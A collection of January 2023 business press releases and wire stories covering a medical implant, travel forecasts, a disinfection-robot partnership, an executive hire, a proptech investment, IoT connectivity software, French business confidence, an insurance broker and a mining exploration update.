It is estimated that 6.8 million patients in the US are eligible for the existing sacral neuromodulation therapy, a patient population which is still highly underpenetrated (c.50,000 implants a year) and only treats urge incontinence. Mixed urinary incontinence is more than three times more common than urge but until now there is no single therapy available on the market or in development.

About Amber Therapeutics

Amber Therapeutics is developing next-generation, intelligent bioelectrical therapies to transform clinical outcomes in patients with functional disorders of the peripheral nervous system. Amber's approach leverages closed-loop intelligence to create 'synthetic reflex arcs' that can sense, interpret, adapt and respond to a patient's individual signals thereby restoring normal physiological function.

Amber Therapeutics was founded by a multidisciplinary team of clinicians, translational neuroengineers, medtech industry professionals and experienced entrepreneurs focused on developing transformational therapy innovation for major unmet medical conditions. The Company was spun out from the University of Oxford in 2021 and is backed by Oxford Science Enterprises and 8VC.

www.amber-tx.com

Contacts:

Amber Therapeutics

Aidan Crawley, CEO

press@amber-tx.com

MEDiSTRAVA Consulting

Frazer Hall / Mark Swallow / Sandi Greenwood / Evelyn McCormack

+44 203 928 6900

ambertherapeutics@medistrava.com

View original content:https://www.prnewswire.co.uk/news-releases/amber-therapeutics-announces-successful-first-in-human-implants-of-amber-ui-an-intelligent-closed-loop-bioelectrical-therapy-for-urge-and-mixed-urinary-incontinence-301728424.html
Kaleido Predicts Strong Growth in Outbound Travel From China Following the Recent Lifting of COVID Restrictions, With Outbound Travel Trips Predicted to Approach Nearly 80% of 2019 Levels in 2023.

LONDON, Jan. 24, 2023predicts a substantial increase in annual inbound and outbound international travel numbers in 2023, representing a 165% growth over 2020, with global trip volume reaching over 1.7 billion.



With leading travel corridors approaching, or in some cases exceeding, pre-COVID levels, the international travel market will be given a significant boost in recovery by the recent lifting of COVID-related travel restrictions by China. Chinese international travel bookings are currently recording their best performance since 2019 and Kaleido predicts that China will witness 378% y-o-y growth in 2023 and approach nearly 80% of 2019 levels by the end of the year.

International Leisure & Business Travel Trips Reached 1.3 Billion in 2022

Kaleido's International Travel Research 2023estimated that the number of international same day and overnight outbound trip volume in 2022 was 93% higher than the levels seen in 2021, exceeding 1 billion for the first time in 3 years.

Nitin Bhas, Chief of Strategy & Insights at Kaleido Intelligence added: "Travel markets around the world reported strong passenger demand during Q2-Q4 2022, with global traffic reaching around 65% of pre-COVID-19 levels by the end of the year. We are currently witnessing volume across leading travel corridors in Europe, North America, and the Middle East already exceeding 2019 levels."

Strong Growth in 2023, Driven by East Asia & Pacific Region

International travel will continue to witness robust and continued growth in 2023, driven by an increase in consumer confidence in travelling (especially long haul journeys) as well as the release of a pent-up demand for holidays and international travel amongst Chinese travellers.

However, the research found that geopolitical challenges related to the conflict in Ukraine, a weakened economic outlook for major markets, and other key factors such as cost of flying, will influence the recovery trajectory.

Kaleido predicts that both emerging and established travel markets will post strong growth during the first half of this year, with East Asia & Pacific leading outbound (91%) and inbound (220%) y-o-y growth.

Obtain insight into the impact of travel recovery on international roaming traffic and revenues in your market by requesting an interview with Kaleido Intelligence.

About Kaleido Intelligence

Kaleido Intelligence is a specialist consulting and market research firm with a proven track record delivering telecom research at the highest level. Kaleido Intelligence is the only research company addressing mobile roaming in its entirety, covering:

Data Forecasts by Market

Historical & Forecast Viewpoints

Competitive Intelligence

Strategic Insight

Trend Analysis



Research is led by expert analysts, each with significant experience delivering telco research and insights that matter.

Contact details for further information:

Jon King

Chief Commercial Officer, Kaleido Intelligence

Jon.king@kaleidointelligence.com

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/5b8f5935-f8bf-4632-be3f-84cc06b6326a
DUBAI, UAE and DELFT, Netherlands, Jan. 24, 2023 /PRNewswire/ -- Seed Group, a company of the Private Office of Sheikh Saeed bin Ahmed Al Maktoum, has entered into a strategic partnership with a Netherlands-based company, Ryberg, which offers AI-assisted and self-driving technology-powered disinfection services for businesses and hospitals across the world.





Ryberg combines the latest in computer vision, robotics, and infection prevention-technologies to deliver intelligence and efficiency in disinfection. Ryberg has developed Disinfection Robots, which are self-driving disinfection machines that operate at the highest efficiency. Their patented Disinfection Engine makes intelligent disinfection decisions, allowing the robots to disinfect spaces for up to 6 hours-designed to bring a strong layer of defense in the age of deadly viruses without the use of chemicals.

As part of the joint venture agreement, Seed Group will help Ryberg offer its services to businesses and hospitals in the Emirates and the wider Middle East by helping it reach the right audience, access top decision-makers in the government as well as the private sectors, and contribute to strengthening the latest technological innovation landscape in Dubai.

Hisham Al Gurg, CEO of Seed Group and the Private Office of Sheikh Saeed bin Ahmed Al Maktoum, said, "We are happy to announce our association with Ryberg. The use of robots for disinfection is a relatively risk-free and thus dependable concept. The technology behind this concept is innovative and effective at the same time. It is organizations like Ryberg that are exploring and implementing the power of artificial intelligence and self-driving technology to create products and services that we can utilize to lead a healthy and resilient life. We look forward to a fruitful association with Ryberg."

Man Yong Toh, CEO of Ryberg, said, "The more connected a society becomes, the more vulnerable it is to infectious diseases. The impact can be devastating, especially in cities. Ryberg's philosophy is that prevention is better than cure. That is why Ryberg is dedicated to delivering game-changing AI, robotics, and sensor technologies and solutions to prevent diseases at scale. We're looking forward to working with the highly regarded Seed Group and the Private Office of Sheikh Saeed bin Ahmed Al Maktoum to create impact in the region and safeguard people from diseases across the Middle East."

Seed Group is a notable force in the technology, healthcare, hospitality, and telecommunications landscapes in the Middle East. Over the past 20 years, it has formed successful strategic alliances with leading global companies representing diverse regions to accelerate sustainable market entry and presence within the Gulf Cooperation Council countries.

About Ryberg

Ryberg is a leading AI, robotics, and sensor technology company based in Delft, The Netherlands. For humanity to truly prosper, the cities of the future need to keep their inhabitants healthy and protect them from diseases. Our mission is to build the best products, drive innovation, and inspire and implement solutions to prevent diseases at scale, notably by bringing our patented technologies together in a building-wide as well as a city-wide approach to detect, predict, and deactivate pathogens faster, more thoroughly, and more cost-effectively. We call it the Ryberg Pathogen Shield. For more information, visit www.ryberghealthcare.com

About Seed Group

Over the past 20 years, Seed Group has formed strategic alliances with leading global companies representing diverse regions and industries. These companies have propelled their business interests and goals in the Middle East and North Africa region through the support and strong base of regional connections of the Seed Group. The Group's goal is to create mutually beneficial partnerships with multinational organisations and to accelerate their sustainable market entry and presence within the MENA region. Seed Group has been a key point in the success of all its partners in the region helping them reach their target customers and accelerate their businesses. The Private Office was established by Sheikh Saeed bin Ahmed Al Maktoum to directly invest in or assist potential business opportunities in the region, which meet the Private Office's criteria. For more information, visit www.seedgroup.com .

Ryberg Media Contact

Man Yong Toh

manyong.toh@ryberghealthcare.com

+31645468948

Seed Group Media Contact

Nomarie Jean Lacsamana

jean@seedgroup.com

+97143735068

Photo: https://mma.prnewswire.com/media/1988852/Ryberg_Disinfection_Robot.jpg

View original content:https://www.prnewswire.co.uk/news-releases/seed-group-teams-up-with-ryberg-from-the-netherlands-to-bring-ai-assisted-disinfection-technology-to-the-middle-east-301729029.html
In a strategic growth move, the Life Sciences Technology and Regulatory company, headquartered in Verona, Italy, recruits Maurizio Giraudo to head its Business Consulting division.

VERONA, Italy, Jan. 24, 2023 /PRNewswire/ -- Arithmos today announced the appointment of Maurizio Giraudo to the role of Managing Director for its Business Consulting division. The strategic hiring comes fresh off a year of consolidated growth and expansion for Arithmos as it looks to not only become a market leader in technology solutions and safety and regulatory services, but a trusted consulting partner in digital transformation and business growth.

With a law degree from La Sapienza University in Rome, Maurizio Giraudo is a management consulting professional with over 20 years of experience in Life Sciences from commercial excellence and digital transformation to R&D, regulatory affairs and manufacturing for global pharmaceutical, biotechnology, and medical device companies. His career also boasts consulting experience with Accenture and EY, with a combined 14 years as a senior consultant and manager in the Life Sciences divisions.

Arithmos is looking to start the new year right where it left off in 2022: with a clear focus and a strategic growth plan. After its merger with seQure and acquisition of The CQA Company in the United Kingdom, Arithmos now has a complete portfolio of technology solutions, safety and pharmacovigilance services as well as regulatory and quality assurance coverage for the entire GxP environment.

Maurizio Giraudo said "I am certainly enthusiastic to join the growing Arithmos team and contribute to this exciting trajectory it's on. Arithmos' unique combination of regulatory and quality assurance coupled with technology gives companies the right toolset to face the challenges of the life sciences industry today, but they need to know how to use it. That is where I hope to step in. Consulting is where pharma, biotech and medical device companies get their ideas and strategies off the ground. Arithmos has already built an operational powerhouse, I am just hoping to strengthen it".

Paolo Morelli, CEO and Founder of Arithmos, added "Our team is excited to have Maurizio Giraudo on board and step into this leadership position. Arithmos has been a whirlwind journey of change and growth over the past year, but always focused on where we want to go, and that means strengthening the value proposition for our clients. Maurizio's career track record speaks for itself, and with him guiding our business consulting unit, we are not only going to give our clients the right tools to succeed, we are going to help them get there, with the best strategy possible".

About Arithmos

Arithmos helps Life Sciences companies to gain the best business value through technology-enabled solutions. With the business units seQure and The CQA Company, Arithmos provide Quality Compliance and Consulting services. Arithmos delivers solutions and services for:

Pharmacovigilance & Safety

Regulatory Document Management

Reporting & Analytics

eClinical

Cloud Services

IT Services

Quality Management

Computer System Validation

Regulatory Affairs

Contact:

Umran Turker

Chief Commercial Officer at Arithmos

+39 045 585492

https://arithmostech.com/

Photo - https://mma.prnewswire.com/media/1988861/Arithmos_Maurizio_Giraudo.jpg

View original content to download multimedia:https://www.prnewswire.co.uk/news-releases/arithmos-appoints-maurizio-giraudo-as-managing-director-of-the-new-life-sciences-business-consulting-unit-301729013.html
BERLIN (dpa-AFX) - Vonovia SE (DAIMF), a German residential real estate firm, said on Tuesday that it is investing in GROPYUS AG, a building constructor, for Austrian proptech, an initiative connecting founders of digital real estate business models in Austria. With this investment, Vonovia has become the lead investor in GROPYUS's current Series B financing round, the company said. The current financing for the Austrian proptech is at around 100 million euros, bringing the total funding to more than 200 million euros until date. GROPYUS will use the investment to realize its long-term growth plans, including the expansion of the production site in Richen. Riedl said: '.GROPYUS is digitalizing and transforming the housing and construction industry. We want to leverage this in our projects going forward and take resource-efficient living to the next level.' Copyright(c) 2023 RTTNews.com. All Rights Reserved Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
AnyNet SMARTconnect is flexible, on-device connectivity software that enables resilient and scalable global connectivity.

The first connectivity provider to market with a module-agnostic connectivity software solution for IoT devices

Dramatically reduces development time by up to 9 months and cuts engineering costs by installing connectivity intelligence and optimisation straight into the IoT device.

SMARTconnect will be showcased at IoT Solutions World Congress, Barcelona 31st January to 2nd February on Stand F640.

GUILDFORD, England, Jan. 24, 2023 /PRNewswire/ -- Eseye, a pioneer of leading-edge cellular IoT connectivity solutions, today launched its revolutionary AnyNet SMARTconnect on-device connectivity software solution. The new solution embeds intelligent, global IoT connectivity directly into any device, enabling organisations to get to market faster and focus on creating value for their customers. Additionally, AnyNet SMARTconnect increases resiliency, keeping devices connected and optimised both now and in the future. This allows IoT initiatives to scale without hiring costly, hard-to-find connectivity or firmware engineers. Showcasing at the IoT Solutions World Congress in Barcelona from 31st January, AnyNet SMARTconnect is already in use with several of Eseye's enterprise customers.

Supplied as an independent plug-in software module, AnyNet SMARTconnect codifies Eseye's decades of connectivity expertise into powerful and flexible device software that partners and customers can easily integrate into their IoT or connected device. This helps ensure 'right first time' delivery and provides the flexibility of device design to help future-proof the solution to navigate current and future supply chain issues. It supports global deployments by enabling a single SKU, including initial bootstrap and provisioning. AnyNet SMARTconnect allows enterprises to bypass software development and install plug-and-play connectivity intelligence directly into their devices. This can accelerate a product launch by up to 9 months, significantly reducing costs and allowing them to focus on the applications and data that deliver value to their customers.

Matt Hatton, Founding Partner at Transforma Insights, comments, "One key watchword for IoT in 2023 is 'optimisation'. It's no longer enough to bolt together a set of components, and hope they work well together. They need to be optimised with each other to ensure that the device, networks, protocols, cloud and edge storage/compute, security and application logic are all optimised to work with each other. This is particularly exacerbated by the need to deploy IoT in constrained environments where access to power, processing, bandwidth, and memory might be limited. Another watchword is 'managed'. Enterprises adopting IoT need to be sure that someone is taking care of these increasingly complex elements so they can concentrate on their regular business. Every enterprise needs an IoT solution that is optimised and managed."

AnyNet SMARTconnect leverages Eseye's AnyNet Federation - a global mobile network alliance that spans 190 countries and provides access to over 700 global networks with more localisation options than any other provider- along with its award-winning Infinity IoT Connectivity Management Platform. It includes a set of higher-layer communication protocol extensions including MQTT, CoAP and Lightweight Machine to Machine (LWM2M) that benefit by understanding and responding to the underlying network state. For example, the LWM2M may wait for increased signal strength, higher and more cost-effective bandwidth before doing a Firmware Over the Air (FOTA) update.

AnyNet SMARTconnect includes the following core components and features:

Global connectivity selection and optimisation - works with the modem and xSIM to select, manage and optimise the Radio Access Type (RAT) and network provider tailoring connectivity for the application requirement.

- works with the modem and xSIM to select, manage and optimise the Radio Access Type (RAT) and network provider tailoring connectivity for the application requirement. Increased connectivity resilience - continual monitoring of the data session, throughput, and errors and switches to ensure a continuous data path using application data flows, MQTT/CoAP performance metrics, and network stability data.

- continual monitoring of the data session, throughput, and errors and switches to ensure a continuous data path using application data flows, MQTT/CoAP performance metrics, and network stability data. Simplified data transport & security - manages all modem, wireless network, and higher-layer protocol complexity providing end-to-end data transfer and security.

- SDK & APIs: simplified "send" and "receive" SDK and APIs for applications and supports MQTT, CoAP, and other higher layer protocols in a customer's chosen format (such as JSON or Binary).

- Storage: stores time series data and its own configuration file, buffering data persistently during times of poor or no connectivity until it is successfully delivered.

- Data encryption -uses the cryptographic engine provided by the cellular module to implement TLS/DTLS encryption, reducing resource requirements on the device CPU.

- manages all modem, wireless network, and higher-layer protocol complexity providing end-to-end data transfer and security. simplified "send" and "receive" SDK and APIs for applications and supports MQTT, CoAP, and other higher layer protocols in a customer's chosen format (such as JSON or Binary). - stores time series data and its own configuration file, buffering data persistently during times of poor or no connectivity until it is successfully delivered. - -uses the cryptographic engine provided by the cellular module to implement TLS/DTLS encryption, reducing resource requirements on the device CPU. Enhanced management, security & compliance - uses LWM2M to efficiently transport device management information and instructions OTA for connectivity rules, operation, and the customer application (compute, storage, OS, and device requirements).

- Implicit agent leverages MQTT to enable device-to-cloud visibility, providing device health, performance, and security instrumentation.

- Embedded LWM2M can be leveraged to provide full-stack device and software lifecycle management, including CPU, storage, firmware, OS, applications, & ML models.

- Connectivity management& routing improves compliance such as data sovereignty, GDPR, HIPAA, PCI etc.

Commenting on the launch, Nick Earle, CEO of Eseye, says: "The Kaleido 2022 Enterprise IoT survey of 750 global enterprises, who had implemented at least one IoT project, revealed that 84% of them ranked the complexities of designing an IoT device as their number one issue they experienced. Enterprises are not device experts and do not have the budget or the necessary skills, such as firmware design and testing, to achieve this. This clearly illustrates that a standard embedded connectivity software solution is needed to enable the device the intelligence to operate in different environments, detect connectivity, and optimise across multiple constraints, including battery performance, latency, and security.

SMARTconnect addresses these issues with embedded intelligence, thus dramatically reducing the cost and risk associated with IoT deployments and improving IoT device time to market by up to nine months."

Eseye customer AmericanPharma has embedded the AnyNet SMARTconnect solution into PharmaWatch, its environmental monitoring devices for the medical industry, for their vaccine temperature monitoring during COVID. The solution has enabled it to experience improved coverage across the US and allows it to expand its PharmaWatch application globally.

Casey Harris, Chief Technology Officer, AmericanPharma Technologies, said, "Our experience with Eseye has been exemplary. Eseye has proven to be a top-notch partner throughout this project - response times are quick, and the answers and help typically go above and beyond. Thanks to Eseye's AnyNet SMARTconnect on-device connectivity intelligence, our new system is more reliable than Wi-Fi or the other cell system we previously offered. It is easier to sell, easier to install, easier to support, and, importantly, easier to scale. We now offer the best, most reliable, world-class system for our market supported by global, resilient connectivity."

To find out more about AnyNet SMARTconnect, its AnyNet Connectivity service, and Eseye's Infinity IoT Platform can provide your business with a seamless service, visit the Eseye Stand F640 at IoT Solutions World Congress in Barcelona or download the new AnyNet SMARTconnect whitepaper: "Why Smart Devices Demand Smart Connectivity.

ABOUT ESEYE

Eseye empowers businesses to embrace IoT without limits. We help them visualise the impossible and bring those solutions to life through innovative IoT cellular connectivity solutions that enable our customers to drive up business value, deploy differentiated experiences, and disrupt their markets.

Our pioneering IoT connectivity hardware, software, and platform technology allow businesses to overcome the complexity of IoT deployment and develop, deploy, and manage IoT projects at scale with a high degree of success. Supported by a powerful partner ecosystem, we seamlessly connect devices across 190 countries, agnostic to over 700 available global networks. www.eseye.com.

View original content:https://www.prnewswire.co.uk/news-releases/eseye-launches-anynet-smartconnect-software-to-cut-iot-device-development-times-by-50-301729053.html


PARIS (dpa-AFX) - Confidence among French manufacturers improved further at the start of the year, underpinned by an improvement in the assessment of past production and foreign order books, amid expectations that the recent downturn in the economy would be short-lived, results of two separate surveys showed Tuesday.



The manufacturing confidence index rose to 103 in January from 102 in December, monthly survey results from the statistical office INSEE showed.



The sub-index measuring manufacturers' views towards past production rose to 11.0 in January from 8.0 in the previous month, while the overall order book balance dropped to -17 from -15, which was the lowest level since March 2021.



However, the foreign order book balance rose by 3 points to -12 from -15 in December.



General production expectations weakened slightly in January, with the corresponding index rising -7 from -6, while personal production expectations of manufacturers strengthened to 17 from 16.



At the same time, the finished-goods inventory balance declined sharply to 14 in January from 25 in December.



The index for the expected trend in selling prices in the next three months was clearly down in January, as the relevant index stood at 33 versus 47 in December.



The number of companies citing supply problems as limiting production has decreased once again, the survey said.



The overall business confidence index that comprises the responses of business leaders from sectors, namely, manufacturing, construction, services, retail trade, and wholesale trade, dropped marginally to 102 in January from 103 in December.



'All this data suggests the French economic outlook is uncertain but far from dramatic; it's not leaping into recession,' ING economist Charlotte de Montpellier said.



'Moreover, companies indicate that the employment outlook remains very positive in all sectors.'



Read more: French Private Sector Shrinks Most In 2 Years



Preliminary results of the purchasing managers survey also revealed a similar sentiment among manufacturers and services firms.



The PMI survey by S&P Global showed that French private sector companies recorded the strongest level of optimism towards the year ahead outlook in six months as sentiment at both manufacturers and service providers strengthened.



Some firms increased staff on expectations of future growth in business. Private sector employment levels rose for a twenty-fifth month in a row with the rate of job creation even accelerating, the survey showed.



'Increased business optimism and stronger hiring suggests there are plenty of companies across France who are preparing for the downturn to be short-lived,' S&P Global Market Intelligence Senior Economist Joe Hayes said.



Copyright(c) 2023 RTTNews.com. All Rights Reserved



Copyright RTT News/dpa-AFX
Los Angeles, California-based Cal Commercial Insurance has just updated its selection of cost-effective workers' compensation policies for State Fund Insurance Alternatives.

San Clemente, California--(Newsfile Corp. - January 24, 2023) - Cal Commercial Insurance, which services Los Angeles, California, announces the launch of its expanded selection of affordable State Fund policy options. With this development, contractors can easily find coverage that suits both their needs and budget.

More information is available via https://statefund.calcommercialinsurance.com

Los Angeles CA - Cal Commercial Insurance Launched State Fund Insurance Services

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/8814/152276_89d944dee4e53bf5_001full.jpg

With the broker's help, clients can lower insurance premiums - without sacrificing the quality of coverage. They work with construction companies, general contractors/subcontractors, HVAC contractors, concrete contractors, plumbers, and artisan trades in the construction industry.

According to the agency's experts, the construction and renovation sectors have inherently high-risk worksites where employees are liable to get injured. Moreover, mishaps during projects might cause damage to a client's property, which the contractor will be legally and financially responsible for.

Given how expensive covering injuries and repairs can be, the commercial insurance specialist offers a variety of policies that protect a contractor's bottom line. Since it is an independent brokerage, the company has no ties with any single insurer and proposes the most cost-effective plans from its roster of partner insurers.

Because of a new California law, Contractors State License Board issued Important Notices to HVAC C-20 and Concrete Contractors C-8, notifying them of a new law requiring proof of workers' compensation insurance. No license in these classifications will be issued, reinstated, reactivated, or renewed without that proof.

Given the inherent risks associated with working in construction, the agency provides workers' compensation insurance at rates that meet limited budgets. This policy will shoulder the majority of medical bills should an employee sustain an injury while working on a job site.

The agency adds that many clients will only work with fully insured contractors, highlighting the need to get adequate coverage. Moreover, such policies allow a business to continue running even if unexpected incidents happen.

Cal Commercial Insurance is a leading brokerage that offers trusted advice and affordable protection to clients. Aside from Los Angeles, it also services the areas of San Clemente, Mission Viejo, Dana Point, Laguna, San Juan Capistrano, Long Beach, Santa Ana, Orange County, Los Angeles County, San Diego County, and the full state of California.

A spokesperson says: "We are committed to finding the best insurance quotes for the most affordable rates. Being independent means we work for you - not insurance companies. Our goal is to protect your business and prepare you for the unknown."

Interested parties may call 949-771-7731 or visit https://www.calcommercialinsurance.com/insurance-services for further information about the company and its offerings.

Contact Info:

Name: Kevin Walheim

Email: kevin@calcommercialauto.com

Organization: Cal Commercial Insurance

Address: 806 East Avenida Pico Suite I-266, San Clemente, CA 92672, United States

Website: https://statefund.calcommercialinsurance.com/

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152276
Untested targets for further Cu-Zn-Au-Ag massive sulphide and feeder zones defined

LONDON, UK / ACCESSWIRE / January 24, 2023 / Meridian Mining UK. S (TSX:MNO)(Frankfurt/Tradegate:2MM)(OTCQB:MRRDF) ("Meridian" or the "Company") is pleased to provide an update on its successful geophysical exploration programs within the Cabacal mine corridor. Recently completed surface electromagnetic ("EM") surveys have outlined multiple EM plates down dip from the high-grade Cu-Zn-Au-Ag massive sulphides of the Santa Helena deposit ("Santa Helena"). An Induced Polarization ("IP") survey has also been completed over the Santa Helena deposit and combined with the EM plates has generated a new geophysical model extending the mine's untested and unmined upside, generating multiple near-surface targets to follow up on. These near mine prospects have created further potential for the extension of open-pitable Cu-Zn-Au-Ag mineralization at Santa Helena. Follow up resource confirmation and delineation programs are being planned.

Highlights Reported Today

Santa Helena EM survey defines multiple potential extensions to Cu-Zn-Au-Ag rich massive sulphides and associated feeder zone;

Combined EM and IP survey results defined new untested upside with Santa Helena's mineralised envelope extending out from historical mine;

Geophysical responses are open along strike and at shallow open-pitable depths;

New geophysical trend follows strike and extends outwards from Santa Helena's gold overprint;

Future geophysical programs to extend from Santa Helena along trend to the Alamo prospect; and

Meridian is restarting the Cabacal drill programs after Christmas and New Year break.

Dr. Adrian McArthur, CEO and President comments : "These initial results from the geophysical program have been extremely valuable in expanding the upside of further open-pitable mineralization at Santa Helena. Like the Cabacal deposit, Santa Helena's history and geology is a partially mined (Cu-Zn dominant) VMS mineralization being overprinted by a later stage gold event. The 15,700 m of historical but selectively assayed drilling was focused on the narrow trend of high-grade Cu-Zn-Au-Ag massive sulphides. The extension of the VMS targets by these geophysical results outside of the historical drilling strengthens the open-pit potential of the deposit, which is further enhanced by the potential to extend down dip the high-grade gold overprint of Santa Helena."

Santa Helena Geophysical Results

Prior to the New Year's recess, the Company undertook its first campaign of geophysics over the Santa Helena deposit ("Figure 1"), which represents a potential satellite open-pit development target for the Cabacal project. The objective of the survey was to test the open high-grade Cu-Zn-Au-Ag massive sulphide mineralization for near-mine extensions. Significant widths of mineralization have been historically reported from surface and underground drilling[1], including:

BPM surface drill hole JUCHD031: 27.6m @ 1.6% Cu, 1.5g/t Au, 4.4% Zn & 36.3g/t Ag from 24.9m; and

PML underground drill hole FSS24: 17.5m @ 0.7% Cu, 1.0g/t Au, 7.2% Zn & 25. 5g/t Ag from 21.5m;

Figure 1: Location of Santa Helena, to the NW of the recently renewed Alamo licence. Geophysical fingerprinting of the Santa Helena deposit will provide a useful template for corridors to be covered hosting WorldView 3 Satellite targets, soil anomalies, and VTEM anomalies to the southeast. Gridded conductivity image in the background with darker blue areas marking conductive trends.

Meridian has concluded two phases of surface geophysical surveys, using surface electromagnetic fixed loop techniques, and induced polarization techniques. The current campaign of work detected three shallow dipping plates interpreted to be bedrock conductors, with modelled extents of 500 x 300m, 250 x 300m, 350 x 300m ("Figure 2"). The EM plates have a typical conductivity thickness for Cu-Zn sulphides of 4 Siemens. The leading edge of the two most eastern plates align with the position of the resource envelope and extend outwards a further ~200 - 250m to the north-northwest into sparely drilled areas. Nine historical BPM drill holes were drilled in this location for which assays have not been completely preserved. A third plate modelled to the west falls into an area untested by drilling. Given the deformed character of the host sequence, it is encouraging to have geophysical anomalies extending beyond the main resource area, and future drill programs will test for additional Cu-Zn-Au-Ag sulphide mineralization and for the replications of the gold overprint.

[1] Meridian Mining News release of February 07, 2022

Figure 2: View to the west of Santa Helena historical mine, drilling and the EM plates and IP anomalies. Drill holes are coloured by Cu grade (light grey unsampled). The three Maxwell EM plates dip to the north. The higher threshold chargeability inversion shells (21-24-27-30mV/V) are shown in the eastern sector of the deposit and remain open.

To supplement the EM survey, the Company has completed a gradient array IP survey. The peak response aligns well with the Cu-Zn-Au-Ag sulphide resource and remains open to the east ("Figure 2"), suggesting some sulphide presence in the shallower up-plunge sector of the deposit beyond the historical resource limit. The peak chargeability response follows the strike of the deposit in the eastern sector, reaching ranges of 30 mV/V (millivolts per volt) - characterized as a moderate to strong response for VMS mineralization. The southern margin of the chargeability response is fairly sharp, but the northern margin shows a broader chargeability response projecting into the area of the conductivity plates. The western margin of the chargeability response becomes slightly divergent to the modelled mineralization envelope. It will be important to verify if any local fold concentrations of sulphide mineralization are present. The peak chargeability response corridor in the western corridor has not been effectively drilled. The Company is awaiting environmental permits to extend the survey east and west of the current limits.

Santa Helena Deposit

The Santa Helena deposit (historically also referred to as C2C, and Monte Cristo), is located 9km to the southeast of the Cabacal Mine area, within the 11km Mine Corridor trend. The deposit was first discovered by BP Minerals ("BPM") in 1984. The deposit is associated with the same host geology as that of the Cabacal Mine. The former operator at Santa Helena, Prometalica ("PML"), commissioned the underground mine in 2006 with a historical measured and indicated resource of 1.12 Mt @ 6.2% Zn, 1.3% Cu, 1.3g/t Au, 41.7 g/t Ag[2]. Production commenced in 2006, but the mine closed well ahead of planning in 2008 with the collapse of the zinc price. Total production amounted to 439,813t @ 6.65% Zn, 1.62% Cu, 1.77g/t Au & 43.02g/t Ag, leaving over half of the historical underground resource unexploited.

The deposit plunges gently west-northwest. Shallow oxide gold mineralization is recognized in historical trenching to the east of the resource limit[3], which was not previously considered in SRK's historical 2007 estimate for the deposit nor was it extensively tested by angled drilling. Meridian is targeting Santa Helena as a potential satellite open pit prospect using typical open pit parameters. Both BPM and PML focused on the underground development and on the higher-grade massive sulphide mineralization. Numerous historical holes have not been sampled to conclusively demonstrate the limit of mineralization (or analysed for the full suite of elements). In the oxide zone, similar to the Cabacal deposit, the upper intervals of the drill holes have also not been systematically sampled. Of the 39 PML holes, gold assays are not available for 12 of the holes, and in an additional 9 of the holes, the first recorded sample starts within the mineralized halo (grades of 0.1 - 1.0g/t Au). The sampling approach in the original BPM holes (for which data is available in the JUCHD series) is similar, with an average starting depth of 22.4m. Whilst some angled holes were drilled by BPM, historical drilling was overwhelmingly vertical unsuited to testing the late stage overprinting vertical gold structures now recognized in the belt.

[2] The historical resource estimate for Santa Helena (also referred to as Monte Cristo) was completed by SRK and presented to Prometalica in a report dated 30 March 2007: NI 43-101 Technical Report Brazilian Resources Inc. Monte Cristo Mine. State of Mato Grosso, Brazil. Report by SRK Consulting, Project Numb

Initiation of 2023 programs

The Company is conducting a search of historical collars to test whether any of the historical holes remain accessible for potential DHEM surveys. After finalizing its programs at Santa Helena, the Company will continue geophysical and geochemical programs in the "C2" corridor between Cabacal and Santa Helena, and on the Alamo exploration licence to the southeast which has recently been renewed for a second three-year term and where reconnaissance mapping has defined a number of Cu-Zn gossans[4]. Drilling has now restarted at Cabacal after the new year recess period.

About Cabacal

In November 2020, Meridian signed a Purchase Agreement to acquire 100% ownership of certain licences covering the historical Cabacal and Santa Helena mines and the along-strike licences, from two private Brazilian companies ("Vendors"). Subsequently, Meridian expanded its land tenure to today's 50km of strike length. Cabacal had two historical, shallow, high-grade selectively mined underground mines that cumulatively produced ~34 million pounds of copper, ~170,108 ounces of gold, ~1,033,532 ounces of silver and ~103 million pounds of zinc via conventional flotation and gravity metallurgical processes.

Meridian has defined an open trend of shallow copper-gold mineralization centred on the Cabacal Mine. This mineralization trends Northwest-Southeast, sub-crops along its Northeast limits, dips to the southwest at 26 and is up to 90m thick; presenting excellent open-pit geometry and mineral endowment. Meridian is currently focused on infill drilling along a 2,000m corridor along this trend.

Cabacal's base and precious metal-rich mineralization is hosted by volcanogenic type, massive, semi-massive, stringer, and disseminated sulphides within units of deformed metavolcanic-sedimentary rocks ("VMS"). A later-stage sub-vertical gold overprint event has emplaced high-grade gold mineralization truncating the dipping VMS layers. It was explored and developed by BP Minerals/Rio-Tinto from 1983 to 1991 and then by the Vendors in the mid-2000's. This historical exploration database includes over 83,000 metres of drilling, extensive regional mapping, soil surveys, metallurgy from production reports, and both surface and airborne geophysics. The majority of Cabacal's prospects remain to be tested.

Cabacal has excellent infrastructure with access by all-weather roads, clean electricity provided by nearby hydroelectric power stations, and local communities provide mining services and employees. Cabacal consists of 1 mining license, 1 mining lease application, and 7 exploration claims which total 44,265 hectares. The September 2022 Cabacal mineral resource estimate consists of Indicated resources of 52.9Mt @ 0.6g/t Au, 0.3% Cu and 1.4g/t Ag and Inferred resources of 9.0Mt @ 0.7g/t Au, 0.2% Cu & 1.1g/t Ag (0.3 g/t AuEq cut-off grade), with strong optionality for targeting higher grade mineralization using a 0.5 AuEq cut-off for the future development studies.

Monte Cristo Mine. State of Mato Grosso, Brazil. Report by SRK Consulting, Project Number 164802. Compiled by Nick Michael, Clay Taylor, Alva Kuestermeyer. A qualified person has not done sufficient work to classify the historical estimate as current mineral resources or mineral reserves. Meridian has not treated the resource and reserve stated in this report as a current mineral resource or reserves for purposes of National Instrument 43-101.

[3] Meridian Mining News release of March 29, 2022

[4] Meridian Mining News Announcement of 10 January 2023.

About Meridian

Meridian Mining UK S is focused on the acquisition, exploration, and development activities in Brazil. The Company is currently focused on resource development of the Cabacal VMS gold-copper project, the regional scale exploration of the Cabacal VMS belt, the exploration in the Jauru & Araputanga Greenstone belts all located in the state of Mato Grosso and exploring the Espigao polymetallic project in the State of Rondonia Brazil.

On behalf of the Board of Directors of Meridian Mining UK S

Dr. Adrian McArthur

CEO, President, and Director

Meridian Mining UK S

